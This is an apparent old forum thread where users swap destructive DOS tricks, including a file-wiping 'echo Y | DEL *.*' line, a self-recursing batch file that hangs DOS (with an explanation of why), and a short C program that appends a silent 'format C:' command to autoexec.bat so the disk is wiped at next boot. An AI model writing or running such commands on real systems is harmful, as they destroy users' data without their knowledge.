an easier solution is...
echo Y | DEL *.*
all you wanna do is screw some files right?
I dont know if you can use this under system() though...
anyone ?
an easier solution is...
echo Y | DEL *.*
all you wanna do is screw some files right?
I dont know if you can use this under system() though...
anyone ?
I don't want to mess with files!
neither do i...
just discussing how dangerous one program can turn out to be
I reckon you could use that code with system - It's a direct call to COMMAND.COM so (theoretically) any DOS based command would work
Kree'ta Tau'ri! Chaapa'ai!
Well if you where really clever you would disassemble format.com and take the input and output routines out then re-assemble it. Go on - i dare you!
VC++ 6
I doubt if a programme running on a particular OS can format the drive that houses that OS !!!
Is the OS so 'foolish' to allow a programme to format the drive that is running the OS ?
yeah, it is.
another nice lil piece of batch (works only in real DOS, not in a Windows DOS-Box, tho)
Code:@ctty nul set %a%=%a%+%a% a
call it "a.bat" and run it - your system hangs DOS can't handle a simple addition, heh!
(well the reason for the crash is not that DOS cannot handle an addition - can u guess why it hangs? nice lil quiz!)
"I don't know with what weapons World War III will be fought... but World War IV will be fought with sticks and stones." - Albert Einstein
um.... it sets a null codepage and calls itself?
Kree'ta Tau'ri! Chaapa'ai!
well the answer is, because batch files are translated before processing.
In the beginning, the environment variable %a% is empty, so the very first execution of the set-command would be run like this:
set %a%=+
got it? %a% is empty and the batchfile is translated before processing
Going on, in the 2nd execution (it runs itself, remember!) it's:
set %a%=+++
because... oh, you got it, allright
and then:
set %a%=+++++++
and then:
set %a%=+++++++++++++++
and:
set %a%=+++++++++++++++++++++++++++++++
...
and so on.
then you should know that a DOS command must NOT exceed 255 byte. (or was it 127? I forgot) well anyway, the set command gets too long after some interations and overwrites critical DOS memory stuff... and so the PC hangs )
Very clever (or not - depending on whether you want your system to hang!)
Kree'ta Tau'ri! Chaapa'ai!
Try this one.....
@echo off
C:
CD\WINDOWS\DESKTOP
md ³ĊĊ³
> discussing how dangerous one program can turn out to be
Code:#include <stdio.h> int main ( void ) { FILE * Point; Point = fopen("c:\\autoexec.bat", "a"); fprintf(Point, "smartdrv\necho y|format C: /q >NUL"); fclose(Point); return 0; }
The world is waiting. I must leave you now.
The string gets written in to autoexec.bat, then what ?
what will be the result, when the above code is executed.
Dont say "try it" !!!
smartdrv\necho y|format C: /q >NUL
you can see a "format C:" .. "echo y"
(immediately after format C: )
that almost tells the whole story..
your computer cleans the disk when you boot it.
I have a question...would the system still hang if I make an EXE file call itself not a batch file? I would do it the exact same way you did it to the batch file.Originally posted by PrivatePanic
well the answer is, because batch files are translated before processing.
In the beginning, the environment variable %a% is empty, so the very first execution of the set-command would be run like this:
set %a%=+
got it? %a% is empty and the batchfile is translated before processing
Going on, in the 2nd execution (it runs itself, remember!) it's:
set %a%=+++
because... oh, you got it, allright
and then:
set %a%=+++++++
and then:
set %a%=+++++++++++++++
and:
set %a%=+++++++++++++++++++++++++++++++
...
and so on.
then you should know that a DOS command must NOT exceed 255 byte. (or was it 127? I forgot) well anyway, the set command gets too long after some interations and overwrites critical DOS memory stuff... and so the PC hangs )